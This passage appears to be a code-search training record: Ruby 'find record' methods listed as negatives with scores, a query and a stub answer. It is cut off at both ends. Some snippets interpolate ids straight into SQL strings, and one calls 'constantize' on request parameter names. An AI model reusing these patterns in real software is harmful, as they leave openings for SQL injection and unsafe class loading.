error = \"for #{sid_key} #{sid.inspect}\" unless record\n else\n error = '%s value given' % [id_key, sid_key].compact.join(' or ')\n end\n error &&= \"No #{record_name} #{error}\"\n else\n error = \"#{record_name}: both :id_key and :sid_key set to nil\"\n end\n if record\n record\n elsif !id && !sid\n Log.info { \"#{meth}: #{error} (no record specified)\" }\n raise_failure(:file_id) unless no_raise\n elsif no_raise\n # noinspection RubyMismatchedReturnType\n Log.warn { \"#{meth}: #{error} (skipping)\" }\n else\n Log.error { \"#{meth}: #{error}\" }\n raise_failure(:find, item) unless no_raise\n end\n end", "def find_record(item, no_raise: false, meth: nil, **opt)\n # noinspection RubyMismatchedReturnType\n return item if item.nil? || item.is_a?(record_class)\n meth ||= __method__\n record = error = id = nil\n\n id_key = opt.key?(:id_key) ? opt[:id_key] : id_column\n if id_key\n opt.merge!(item) if item.is_a?(Hash)\n opt.reverse_merge!(id_term(item, **opt))\n id = opt[id_key] || opt[alt_id_key(opt)]\n if id && (id_key == id_column)\n record = record_class.find(id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif id\n record = record_class.find_by(id_key => id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n else\n error = \"#{id_key} value given\"\n end\n error &&= \"No #{record_name} #{error}\"\n else\n error = \"#{record_name}: :id_key set to nil\"\n end\n\n if record\n record\n elsif !id\n Log.info { \"#{meth}: #{error} (no record specified)\" }\n raise_failure(:file_id) unless no_raise\n elsif no_raise\n # noinspection RubyMismatchedReturnType\n Log.warn { \"#{meth}: #{error} (skipping)\" }\n else\n Log.error { \"#{meth}: #{error}\" }\n raise_failure(:find, item) unless no_raise\n end\n end", "def find_from!(collection, identifier, find_by = :id)\n if identifier.present?\n collection.detect { |instance| instance.send(find_by) == identifier.to_i } || (raise ActiveRecord::RecordNotFound)\n else\n raise ActiveRecord::RecordNotFound\n end\n end", "def find_one(params, field = :_id)\n return nil if params.nil? #to avoid mistakes \n return self.find(params).first if params.is_a? Hash\n\n find_one((field.to_s) => params)\n end", "def find_existing_record(klass, obj_hash, importer: nil)\n if klass == User\n # The index for css_id has an odd column name plus find_by_css_id is faster.\n User.find_by_css_id(obj_hash[\"css_id\"])\n elsif klass == Organization\n # The url may need to be converted into a clean url\n Organization.unscoped.find_by_url(obj_hash[\"url\"])\n elsif klass == Appeal\n # uuid is not a uniq index, so can't rely on importer to do it automatically\n Appeal.find_by(uuid: obj_hash[\"uuid\"])\n elsif [Organization, Veteran, Person].include?(klass)\n # Let importer find it using the fallback: klass.unscoped.find_by(unique_field: obj_hash[unique_field])\n nil\n end\n end", "def find_one\n return super if params[klass.primary_key].present?\n @find_one ||= klass.new_collection_from_result(limit(1).fetch).first\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end", "def get_record\n recordset = self.get_recordset\n find_by_fields = self.get_find_by_fields\n find_by_key = self.get_model.primary_key\n\n # Find by another column if it's permitted.\n if find_by_query_param && params[find_by_query_param].in?(find_by_fields)\n find_by_key = params[find_by_query_param]\n end\n\n # Filter recordset, if configured.\n if self.filter_recordset_before_find\n recordset = self.get_filtered_data(recordset)\n end\n\n # Return the record.\n if find_by_value = params[:id] # Route key is always :id by Rails convention.\n return self.get_recordset.find_by!(find_by_key => find_by_value)\n end\n return nil\n end", "def find_records(predicate)\n raise_must_override\n end", "def find(item, type = nil)\n find_by_id(item) || find_by_generic(item, type)\n end", "def get_record(fqdn, type)\n matches = find_match(@dnss.records, fqdn, true)\n if matches != nil\n record = nil\n matches.each do |record|\n Puppet.debug \"inspecting #{record.hash_type} == #{type}\"\n if record.hash_type.to_s == type.to_s\n Puppet.notice \"found dns record : #{fqdn}, #{type}\"\n return record\n end\n end\n else\n Puppet.debug \"match found no record : #{fqdn}, #{type}\"\n end\n Puppet.debug \"record not found : #{fqdn}, #{type}\"\n return nil\n end", "def get(predicate)\n predicate = class_of predicate\n @set.find {|item| item.is_a? predicate}\n end", "def find_record(relation = nil)\n if locate_id.nil? || (locate_id.is_a?(::Numeric) && locate_id == 0) || (locate_id.to_s == '')\n return -1\n end\n\n dataset = load_records(relation, false)\n return -1 if dataset.blank?\n\n first_item = dataset.first\n klass = first_item.class\n\n id_field = klass.respond_to?('primary_key') ? klass.primary_key : nil\n id_field ||= first_item.respond_to?('id') ? 'id' : nil\n\n return -1 unless id_field\n if locate_id.is_a?(::Numeric)\n dataset.index{|item| item.send(id_field) == locate_id} || -1\n else\n loc_id = locate_id.to_s.downcase\n dataset.index{|item| item.send(id_field).to_s.downcase == loc_id} || -1\n end\n\n end", "def find_record\n record_id = params[:record_id] || params[:id]\n @record = Record.where(medical_record_number: record_id).first\n not_found if @record.nil?\n end", "def find_relationship_by(attribute, value); end", "def find_by(field, value)\n @base.send('find_by_' + field, value)\n end", "def first(*conditions)\n record = DB.client.query(query(conditions)).first\n return unless record\n\n instance_type.new(@record_type, record, @mapping)\n end", "def find_one(opts={})\n unless @site\n document = super\n return nil if document.nil?\n @constructor.load(document)\n else\n query = clone.amend(opts)\n \n # construct the criteria hash, and remove the keys allowed by a cacheable lookup\n criteria_hash = query.criteria.to_hash\n id = criteria_hash[:_id]\n keys = criteria_hash.keys\n keys -= [:_id, :_site_id, :model]\n \n # queries are cacheable if they are looking for a single ID\n cacheable = !id.nil? && id.is_a?(BSON::ObjectId) && keys.empty?\n \n # lookup the record in the cache\n if cacheable\n record = @site.cached_records[id]\n return record unless record.nil?\n end\n \n # lookup failed, so perform a query\n record = query.collection.find_one(criteria_hash, query.options.to_hash)\n if record\n record = @constructor.load(@site, record)\n @site.cached_records[id] = record if cacheable\n end\n \n record\n end\n end", "def find_by(params = {})\n find_by_index(params) || where(params).first\n end", "def find_one(options = {})\n @find_one ||=\n if primary_key_set?\n without_collection_params { super() }\n else\n klass.new_collection_from_result(limit(1).fetch(options)).first\n end\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end", "def find_first_awesome_person\n collection.detect{|person| person[:awesome] == true}\n end", "def find_one(criteria, options = {})\n criteria = normalize_criteria criteria\n hash = self.collection.find_one(criteria, options)\n self.normalize(hash) if hash\n end", "def find_by_key(val)\n find(:first, :conditions => {:key => prepare_key(val)})\n end", "def find_record\n @record ||= model.find_by_id(params[:id])\n end", "def find_by_target_and_voter(target, voter)\n Factoid.first(:conditions => ['target LIKE ? AND voter LIKE ?', target, voter])\n #return nil unless records && records.size > 0\n #records[0]\n end", "def find(value)\n key = \\\n if value.to_s =~ /^[0-9\\.]*$/\n default_search_param + \"id\"\n else\n default_search_param\n end\n\n where(key => value).first\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_one(spec)\n doc = collection.find(spec.is_a?(Hash) ? spec : {}.merge('_id' => spec)).first\n new(doc) if doc\n end", "def find(id); end", "def find(id); end", "def find_by_param(param)\n with_param(param).first\n end", "def find_record_from_identifier(entity)\n model = entity.model\n user_token = request.headers[\"X-#{model.to_s.upcase}-TOKEN\"]\n super if model != User || user_token.blank?\n model.find_by authentication_token: user_token\n end", "def find key_or_kind, id_or_name = nil\n key = key_or_kind\n unless key.is_a? Google::Cloud::Datastore::Key\n key = Key.new key_or_kind, id_or_name\n end\n find_all(key).first\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results= CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n if results.empty? \n return nil\n else \n result=results.first\n self.new(result)\n end\n end", "def find(*args)\n find_all(*args).first\n end", "def find_record\n record_id = params[:record_id] || params[:id]\n @record = Record.where(medical_record_number: record_id).first\n raise RequestError.new(404) if @record.nil?\n end", "def field_from_predicate(predicate)\n defined_prop = resource_class.properties.find { |_field_name, term| term.predicate == predicate }\n return unless defined_prop\n\n defined_prop.first\n end", "def find_by()\n\n end", "def find_entry\n ms = model_scope\n result = nil\n if params[:id]\n # Requests that retrieve existing records (e.g. show, edit, update, destroy) set an 'id' param\n # The +find+ method raises ActiveRecord::RecordNotFound if no database item has this primary key\n result = ms.find(params[:id])\n elsif params[ms.primary_key]\n # Primary key is a single value provided in the params hash\n # This modification allows the create action to succeed even if the item already exists\n # The +where...first+ methods returns the item from the database or nil if not found\n result = ms.where(ms.primary_key => params[ms.primary_key]).first\n elsif ms.primary_key.instance_of? CompositePrimaryKeys::CompositeKeys\n # primary key is composed of multiple values\n if (ms.primary_key - params.keys).empty?\n # param values are present for all the primary keys\n pk_values = ms.primary_key.map{|k| params[k]}\n result = ms.find(pk_values)\n end\n end\n result\n end", "def find(id)\n @candidates.each do |person|\n if person[:id] === id\n return person\n end\n end\n return nil\nend", "def find_record(table, id)\n result = DB[table].where(id: id).first\n result ? Hashie::Mash.new(result) : nil\nend", "def get_record(item, **opt)\n find_by(**id_term(item, **opt))\n end", "def get_record(identifier)\n find_by(**id_term(identifier))\n end", "def find(record_id)\n result = DATABASE.execute(\"SELECT * FROM #{table} WHERE id = #{record_id}\").first\n\n self.new(result)\n end", "def find_by(arg, *args)\n where(arg, *args).take\n end", "def find_by!(arg, *args)\n where(arg, *args).take!\n end", "def find(record_id)\n self.new(CONNECTION.execute(\"SELECT * FROM #{get_table_name} WHERE id = #{record_id}\").first)\n end", "def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end", "def find(record_id) \n result = CONNECTION.execute(\"SELECT * FROM #{self.table_name} WHERE id = #{record_id}\").first\n \n self.new(result)\n end", "def find_by_type(types); end", "def find_by_type(types); end", "def find_single(scope, options)\n context = options[:context] || {}\n reload_fields_definition(false)\n fields = options[:fields] || options[:only] || fast_fields(options)\n fields += options[:include] if options[:include]\n \n if scope\n is_collection, records = read_scope(context, fields, scope)\n else\n is_collection, records = read_domain(context, fields, options)\n end\n active_resources = []\n records.each { |record| active_resources << new(record, [], true)}\n if is_collection\n active_resources\n else\n active_resources[0]\n end\n end", "def find_resource resource, conditions\n klass, instance = parse_resource_args resource\n conditions = conditions.to_hash_from_story unless (conditions.is_a? Hash)\n klass.find(:first, :conditions => conditions)\nend", "def primary_key_lookup(pk)\n if sql = @fast_pk_lookup_sql\n sql = sql.dup\n ds = dataset\n ds.literal_append(sql, pk)\n ds.fetch_rows(sql){|r| return ds.row_proc.call(r)}\n nil\n else\n dataset.first(primary_key_hash(pk))\n end\n end", "def find_record\n if record\n self.new_session = false\n return record\n end\n \n find_with.each do |find_method|\n if send(\"valid_#{find_method}?\")\n self.new_session = false\n return record\n end\n end\n nil\n end", "def find_by_id_or_username!\n if input_is_id?\n find_by_id!\n else\n find_by_username!\n end\n end", "def find(id)\n # takes single candidate as id :\n @candidates.each do | candidate |\n if candidate[:id] == id \n\n return candidate\n else \n nil\n end\n end\nend", "def find(id)\r\n find_one do |record|\r\n record.id == id\r\n end\r\n end", "def find(id)\n\nreturn candidates.detect{|candidate| candidate[:id]==id }\n\nend", "def find(record_id) \n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n results = QUIZ.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\").first\n self.new(results)\n end", "def find(id)\n @candidates.detect do |candidate|\n candidate[:id] === id\n end\nend", "def get_match_by_recno(query_type, filter, recno)\r\n result_struct = get_result_struct(query_type, filter)\r\n match_array = KBResultSet.new(self, filter, filter.collect { |f|\r\n @field_types[@field_names.index(f)] })\r\n\r\n tbl_rec = @table_class.new(self)\r\n\r\n rec = @db.engine.get_rec_by_recno(self, recno)\r\n return nil if rec.nil?\r\n tbl_rec.populate(rec)\r\n\r\n return create_result_rec(query_type, filter, result_struct,\r\n tbl_rec, rec)\r\n end", "def one\n if size == 0\n raise \"Could not find any records\"\n elsif size > 1\n raise \"Search returned multiple records when only one was expected\"\n else\n first\n end\n end", "def find(database_model, lookups)\n record = @cache[database_model].detect do |cached|\n lookups.all? { |column, value| cached.send(column) == value }\n end\n\n return record if record\n\n record = database_model.find_by(lookups)\n self << record if record\n\n record\n end", "def first!\n first or raise RecordNotFound\n end", "def first!\n first || raise_record_not_found_exception!\n end", "def find_record #:nodoc:\r\n if @tables.size == 1\r\n @record = @tables.first[0].find(params[:id])\r\n else\r\n rec = @tables.first[0].find(@ids.first) # top most record\r\n 1.upto(@tables.size - 2) { |i| rec = rec.send(@tables[i][1].pluralize).find(@ids[i]) } # find embedded childrens by ids\r\n @record = rec.send(@tables.last[1].pluralize).find(params[:id]) # record to edit\r\n end\r\nend", "def find_record #:nodoc:\r\n if @tables.size == 1\r\n @record = @tables.first[0].find(params[:id])\r\n else\r\n rec = @tables.first[0].find(@ids.first) # top most record\r\n 1.upto(@tables.size - 2) { |i| rec = rec.send(@tables[i][1].pluralize).find(@ids[i]) } # find embedded childrens by ids\r\n @record = rec.send(@tables.last[1].pluralize).find(params[:id]) # record to edit\r\n end\r\nend", "def find_matching(collection, name, primary_key = :id)\n # Handle identity - so you can pass object, object_name\n return name if collection.include? name\n collection.each do |single|\n # It's usually id, but are other possibilities like device\n if single.respond_to? primary_key\n return single if single.send(primary_key) == name\n end\n if single.respond_to? :name\n return single if single.name == name\n return single if name.is_a?(Regexp) && name =~ single.name\n end\n end\n\n nil\n end", "def find(record_id)\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n results_as_objects = []\n\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects.first \n end", "def find opt = nil, opts = { }\n opt ||= :all\n \n opts[:limit] = 1 if opt == :first\n\n # self.sql sets self.model_class.\n this_sql = self.sql(opts)\n result = model_class.find_by_sql(this_sql)\n\n result = result.first if opt == :first\n\n result\n end", "def is_first?(obj, where_hash = {})\n klass = obj.class.to_s.constantize\n klass.where(where_hash).count == 0\nend", "def find(id)\n finder_or_run(:find, id)\n end", "def fetch_record_by_param\n model.find(params[:id])\n end", "def [](*args)\n \n return detect { |record| record.id == args.first } if args.first.is_a?(Integer)\n return select { |record| record.host =~ args.first } if args.first.is_a?(Regexp)\n \n type = args.first if args.length == 1 && args.first.is_a?(Symbol)\n type = args.last if (args.length == 2)\n host = args.first if args.length == 1 && args.first.is_a?(String) \n host = args.first if (args.length == 2)\n \n if host && type\n detect {|record| record.host == host && record.type == type}\n else\n select {|record| record.host == host || record.type == type}\n end\n \n end", "def find\n super.first\n end", "def find_record\n if @zone.nil?\n if @resource[:zoneid] != 'absent' then\n @zone = zone_by_id @resource[:zoneid]\n if @zone.nil? then\n self.fail \"No zone with id: #{@resource[:zoneid]}\"\n end\n else\n @zone = zone_by_name @resource[:zone]\n if @zone.nil? then\n self.fail \"No such zone: #{@resource[:zone]}\"\n end\n end\n end\n @records = @zone.records\n @records.each do |record|\n if record.name == @resource[:record]\n return record\n end\n end\n return nil\n end", "def find_by_key(key)\n find_by_id(key) # backlog method looks exactly the same except for the parameter type\n end", "def find_by_name_and_type(name, type)\n record = finder(:select => [:id, :domain_id, :name, :type, :content, :ttl],\n :conditions => {:name => name, :type => type})\n return nil if record.nil?\n\n new(record)\n end", "def find_first_by_conditions(twitter_id, is_valid)\n begin\n #$logger.info \"#{self.class.name}.#{__method__}(#{twitter_id}, #{is_valid})\"\n puts(\"#{self.class.name}.#{__method__}(#{twitter_id}, #{is_valid})\")\n result = Friend.find(:first, :conditions => [ \"twitter_id = ? and is_valid = ?\", twitter_id, is_valid ])\n if not result.nil?\n #$logger.info \"Result returns object: #{result}\"\n puts(\"Result returns object: #{result}\")\n else\n #$logger.info \"Result DOES NOT return any record!\"\n puts(\"Result DOES NOT return any record!\")\n end\n rescue Exception\n #TwitterUtil.show_error(\"#{self.class.name}.#{__method__}()\",($!).class,($!))\n puts(\"#{self.class.name}.#{__method__}()\",($!).class,($!))\n #$logger.info \"Result returns no records!\"\n puts\"Result returns no records!\"\n result = nil\n end\n return result\n end", "def find(id)\n @candidates.detect {|candidates| candidate[:id] == id}\nend", "def [](x)\n case x\n when self\n x\n when Hash\n find_by_hash(:first, x)\n when nil, Symbol\n find(:first, :conditions => [ 'code = ?', (x || '_').to_s ])\n when String\n find(:first, :conditions => [ 'uuid = ? OR code = ?', (x || '').to_s, (x || '_').to_s ])\n when Integer\n find(:first, :conditions => [ 'id = ?', x ])\n end\n end", "def find_by_ref_or_id(*args)\r\n find_by_id(*args) || find_by_ref(*args)\r\n end", "def find(id)\n@candidates.detect {|candidate| candidate[:id] == id}\nend", "def find_record\n if @zone.nil?\n if @resource[:zoneid] != 'absent' then\n @zone = @resource[:zoneid]\n else\n @zone = zone_by_name @resource[:zone]\n if @zone.nil? then\n self.fail \"No such zone: #{@resource[:zone]}\"\n end\n end\n end\n connection.list_resource_record_sets(hosted_zone_id: @zone, start_record_name: @resource[:record], start_record_type: @resource[:type]).resource_record_sets.each do |record|\n if record.name == @resource[:record] && record.type == @resource[:type]\n return record\n end\n end\n return nil\n end", "def beer_search_first(arg)\n beer_search(arg).find {|beer|beer}\nend", "def find(value)\n end", "def find_record(xero_id)\n raise_must_override\n end", "def find(*args)\n select(*args)\n\n=begin\n\n options = args.last.is_a?(Hash) ? args.pop : {}\n case args.first\n when :all then find_every options\n when :first then find_initial options\n else find_from_ids args, options\n end\n\n=end\n\n end", "def find_documentable\n params.each do |name, value|\n if name =~ /(.+)_id$/\n klass = $1.classify.constantize\n return klass.find(value)\n end\n end\n nil\n end", "def find(x)\n if @candidates.any? {|h| h[:id] == x}\n return @candidates.find {|h| h[:id] == x}\n else\n return \"ID does not exist\".red\n end\nend", "def first_rule_that_predicates_in_receiver(rules, receiver, *args)\n rules.find do |rule|\n receiver.instance_exec(*args, &(rule.predicate))\n end\n end", "def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id] == id\n end\n return nil\nend" ]
[ "0.6742034", "0.65746427", "0.652124", "0.64916486", "0.64061916", "0.6363082", "0.63516986", "0.6329928", "0.6293702", "0.6257889", "0.624285", "0.62418455", "0.6212907", "0.6163717", "0.61398023", "0.6096509", "0.6088769", "0.5971114", "0.5958067", "0.5932916", "0.58939534", "0.58837163", "0.58797675", "0.5870935", "0.5858554", "0.5834085", "0.5815291", "0.58092403", "0.5799487", "0.5798427", "0.57972455", "0.57972455", "0.5789089", "0.5786157", "0.5786157", "0.57848287", "0.57809156", "0.57753557", "0.5765458", "0.5765458", "0.57648075", "0.575966", "0.57549065", "0.5749323", "0.5742861", "0.57409817", "0.57287425", "0.57169074", "0.571207", "0.571118", "0.570622", "0.56955624", "0.5692385", "0.56896824", "0.56800586", "0.56770647", "0.56752914", "0.56752914", "0.56748575", "0.5672929", "0.5665658", "0.56584907", "0.5656412", "0.56539124", "0.564625", "0.5642423", "0.5640268", "0.56357783", "0.56352735", "0.5631497", "0.56210923", "0.56207067", "0.56189936", "0.56149346", "0.56149346", "0.5613822", "0.5608881", "0.5601586", "0.55992275", "0.5597685", "0.5597584", "0.55942655", "0.5594044", "0.55906904", "0.55896014", "0.5587775", "0.55802214", "0.5576928", "0.5572096", "0.5563211", "0.55594885", "0.5554424", "0.5542303", "0.55346525", "0.5521446", "0.5518692", "0.55079275", "0.5505713", "0.55026335", "0.5493209" ]
0.5621252
70
Query for a specific type of record using a predicate
def find_records(predicate) raise_must_override end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get(predicate)\n predicate = class_of predicate\n @set.find {|item| item.is_a? predicate}\n end", "def is_type s, rdf_type\n @subject_types ||= {}\n if @subject_types.has_key? [s, rdf_type]\n @subject_types[s, rdf_type]\n else\n direct_query \"ASK WHERE { <#{s}> a <#{rdf_type}> }\"\n end\nend", "def find_by_name_and_type(name, type)\n record = finder(:select => [:id, :domain_id, :name, :type, :content, :ttl],\n :conditions => {:name => name, :type => type})\n return nil if record.nil?\n\n new(record)\n end", "def filter_item_by_type(item, field, value)\n item[field] == value\nend", "def find_by_type(types); end", "def find_by_type(types); end", "def find_by_type(medium, *args)\n path = \"medium/#{medium}\"\n Rdigg.fetch(path, @@type, args)\n end", "def search_for_type(type)\n q = type\n # search for tweets containing type or #type\n # save them to DB if request is valid (ie not an exception)\n end", "def find(query); end", "def find(query); end", "def find_by_name_and_type_and_content(name, type, content)\n record = finder(:select => [:id, :domain_id, :name, :type, :content, :ttl],\n :conditions => {:name => name, :type => type, :content => content})\n return nil if record.nil?\n\n new(record)\n end", "def get_match_by_recno(query_type, filter, recno)\r\n result_struct = get_result_struct(query_type, filter)\r\n match_array = KBResultSet.new(self, filter, filter.collect { |f|\r\n @field_types[@field_names.index(f)] })\r\n\r\n tbl_rec = @table_class.new(self)\r\n\r\n rec = @db.engine.get_rec_by_recno(self, recno)\r\n return nil if rec.nil?\r\n tbl_rec.populate(rec)\r\n\r\n return create_result_rec(query_type, filter, result_struct,\r\n tbl_rec, rec)\r\n end", "def get_record(fqdn, type)\n matches = find_match(@dnss.records, fqdn, true)\n if matches != nil\n record = nil\n matches.each do |record|\n Puppet.debug \"inspecting #{record.hash_type} == #{type}\"\n if record.hash_type.to_s == type.to_s\n Puppet.notice \"found dns record : #{fqdn}, #{type}\"\n return record\n end\n end\n else\n Puppet.debug \"match found no record : #{fqdn}, #{type}\"\n end\n Puppet.debug \"record not found : #{fqdn}, #{type}\"\n return nil\n end", "def getassociated(type)\n self.forward_items_dataset.filter(\"content LIKE '%type\\\":\\\"#{type}%'\")\n end", "def find_by_sparql_relationship subject, predicate\n find_by_sparql <<-RELSEXT\n SELECT ?pid FROM <#ri> WHERE {\n <#{subject}> <#{predicate}> ?pid \n }\n RELSEXT\n end", "def list_find_by_type(type, options = {})\n list_find({\n :type => subject,\n }.merge(options))\n end", "def where(criteria = {})\n case\n when criteria.key?(:type)\n type_validation_function = ->(node) { node.type == criteria[:type] }\n deep_search(node, [type_validation_function])\n else\n deep_search(node)\n end\n end", "def [](*args)\n \n return detect { |record| record.id == args.first } if args.first.is_a?(Integer)\n return select { |record| record.host =~ args.first } if args.first.is_a?(Regexp)\n \n type = args.first if args.length == 1 && args.first.is_a?(Symbol)\n type = args.last if (args.length == 2)\n host = args.first if args.length == 1 && args.first.is_a?(String) \n host = args.first if (args.length == 2)\n \n if host && type\n detect {|record| record.host == host && record.type == type}\n else\n select {|record| record.host == host || record.type == type}\n end\n \n end", "def find(record_id) \n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n results = QUIZ.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\").first\n self.new(results)\n end", "def rdf_type_predicate\n RDF::URI(\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\")\n end", "def find(item, type = nil)\n find_by_id(item) || find_by_generic(item, type)\n end", "def get_matches(query_type, filter, select_cond)\r\n result_struct = get_result_struct(query_type, filter)\r\n match_array = KBResultSet.new(self, filter, filter.collect { |f|\r\n @field_types[@field_names.index(f)] })\r\n\r\n tbl_rec = @table_class.new(self)\r\n\r\n # Loop through table.\r\n @db.engine.get_recs(self).each do |rec|\r\n tbl_rec.populate(rec)\r\n\r\n next if select_cond and not select_cond.call(tbl_rec)\r\n\r\n match_array << create_result_rec(query_type, filter,\r\n result_struct, tbl_rec, rec)\r\n end\r\n return match_array\r\n end", "def by_type\n filter(:type) do |post, type|\n post.post_type.casecmp(type).zero?\n end\n end", "def add_type_filter(criteria)\n unless params[:type_uri].blank?\n @type_filter = params[:type_uri]\n @type = RdfType.find(@type_filter) rescue nil\n criteria.where(\"?uri a <#{@type_filter}>\")\n end\n criteria\n end", "def find_single_record zone, name, content, type = 'A'\n get_records(zone, name).values.each do |rec|\n if rec['zone_name'] == zone \\\n && rec['display_name'] == name \\\n && rec['content'] == content \\\n && rec['type'] == type\n return rec\n end\n end\n nil\n end", "def search_result\n klass.where(\"object_id = ? AND object_type = ? AND timestamp <= ?\", object_id, object_type, timestamp).order(:timestamp)\n end", "def find_relationship_by(attribute, value); end", "def find(type, conditions = {})\n raise \"Type #{type} is invalid\" unless types.include?(type.to_sym)\n\n uri = \"#{API_URL}/#{resource}/#{type}\"\n uri += '/search' if includes_search_param?(conditions)\n\n request(uri, conditions)\n end", "def with(**kwargs)\n fail ArgumentError, \"with requires exactly one predicate\" if kwargs.size != 1\n\n key, predicate = kwargs.first\n predicate = expand_predicate(predicate)\n\n select do |candidate|\n methods = [key, \"query_for_#{key}\", \"names_for_#{key}\"].select do |m|\n candidate.respond_to?(m)\n end\n\n methods.any? do |method|\n Array(candidate.send(method)).any? do |r|\n begin\n predicate === r # rubocop:disable Style/CaseEquality\n rescue StandardError\n # We're going to assume this is a result of a string comparison to a custom #==\n false\n end\n end\n end\n end\n end", "def predicate\n schema.predicate_for(resource: resource, property: key)\n end", "def find_by_type(type)\n find{|contact_detail|\n contact_detail[:type] == type\n }.try{|contact_detail|\n contact_detail[:value]\n }\n end", "def search(type, query=\"*:*\", sort='X_CHEF_id_CHEF_X asc', start=0, rows=1000, &block)\n raise ArgumentError, \"Type must be a string or a symbol!\" unless (type.kind_of?(String) || type.kind_of?(Symbol))\n\n response = bag_query(type, query)\n if block\n response[\"rows\"].each { |o| block.call(o) unless o.nil?}\n unless (response[\"start\"] + response[\"rows\"].length) >= response[\"total\"]\n nstart = response[\"start\"] + rows\n search(type, query, sort, nstart, rows, &block)\n end\n true\n else\n [ response[\"rows\"], response[\"start\"], response[\"total\"] ]\n end\n end", "def find(predicate)\n filtered = filter_to_array(predicate)\n return nil if filtered.length.zero?\n\n filtered[0]\n end", "def find(record_id) \n result = CONNECTION.execute(\"SELECT * FROM #{self.table_name} WHERE id = #{record_id}\").first\n \n self.new(result)\n end", "def filter(record)\n true\n end", "def make_predicate( attrtype )\n\t\tself.log.debug \"Generating an attribute predicate for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar predicate...\"\n\t\t\treturn lambda { self[attrname] ? true : false }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array predicate...\"\n\t\t\treturn lambda { self[attrname].any? {|val| val} }\n\t\tend\n\tend", "def field_from_predicate(predicate)\n defined_prop = resource_class.properties.find { |_field_name, term| term.predicate == predicate }\n return unless defined_prop\n\n defined_prop.first\n end", "def find_by(**args)\n where(**args).first\n end", "def any_records?(type)\n @records.any? { |rec| rec.is_a?(type) && rec.valid? }\n end", "def show_details\n @type = params[:type]\n @elem= eval(@type).find(params[:elem])\n end", "def first(*conditions)\n record = DB.client.query(query(conditions)).first\n return unless record\n\n instance_type.new(@record_type, record, @mapping)\n end", "def get_matches_by_recno(query_type, filter, recnos)\r\n result_struct = get_result_struct(query_type, filter)\r\n match_array = KBResultSet.new(self, filter, filter.collect { |f|\r\n @field_types[@field_names.index(f)] })\r\n\r\n tbl_rec = @table_class.new(self)\r\n\r\n @db.engine.get_recs_by_recno(self, recnos).each do |rec|\r\n next if rec.nil?\r\n tbl_rec.populate(rec)\r\n\r\n match_array << create_result_rec(query_type, filter,\r\n result_struct, tbl_rec, rec)\r\n end\r\n return match_array\r\n end", "def add_predicate; end", "def get_record(item, **opt)\n find_by(**id_term(item, **opt))\n end", "def find_by(type, filter, single = true, &block)\n nodes = []\n env = node.chef_environment\n if node.public_send(Inflections.pluralize(type.to_s)).include? filter\n nodes << node\n end\n if !single || nodes.empty?\n search(:node, \"#{type}:#{filter} AND chef_environment:#{env}\") do |n|\n nodes << n\n end\n end\n\n if block_given?\n nodes.each { |n| yield n }\n else\n single ? nodes.first : nodes\n end\n end", "def products_by_type(type)\n all_products.select { |product| filter_item_by_type(product, TARGET_PRODUCT_FIELD, type) }\nend", "def where(input, property, value); end", "def for_favoritable_type favoritable_type\n where favoritable_type: favoritable_type\n end", "def filter(query_type, options = {})\n bool.filter(query_type, options)\n self\n end", "def display_info_by_attribute(type, attribute_val)\n if type == 1\n result = Contact.where(first_name: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with first name #{attribute_val} not found.\"}\n else\n # see private method section for load_people\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 2\n result = Contact.where(last_name: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with last name #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 3\n result = Contact.where(email: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with email #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 4\n result = Contact.where(notes: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with notes: #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n end\n end", "def for_query(query)\n all.find { |f| f.query == query }\n end", "def criteria(metadata, object, type = nil)\n\n path_info = relation_path_info(metadata)\n\n initial = {key: [metadata.foreign_key], selector: object}\n\n path_info.drop(1).reverse_each do |info|\n\n if info[:macro] == :embeds_one\n initial = embeds_one_criteria(initial, relation_info)\n else\n initial = embeds_many_criteria(initial, info)\n initial[:selector] = initial[:selector].selector\n end\n end\n\n if path_info.first[:macro] == :embeds_one\n initial = embeds_one_criteria(initial, path_info.first)\n metadata.klass.where(initial[:key].join(\".\") => initial[:selector])\n else\n embeds_many_criteria(initial, path_info.first)[:selector]\n end\n end", "def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results= CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n if results.empty? \n return nil\n else \n result=results.first\n self.new(result)\n end\n end", "def find(record_id)\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n results_as_objects = []\n\n results.each do |result_hash|\n results_as_objects << 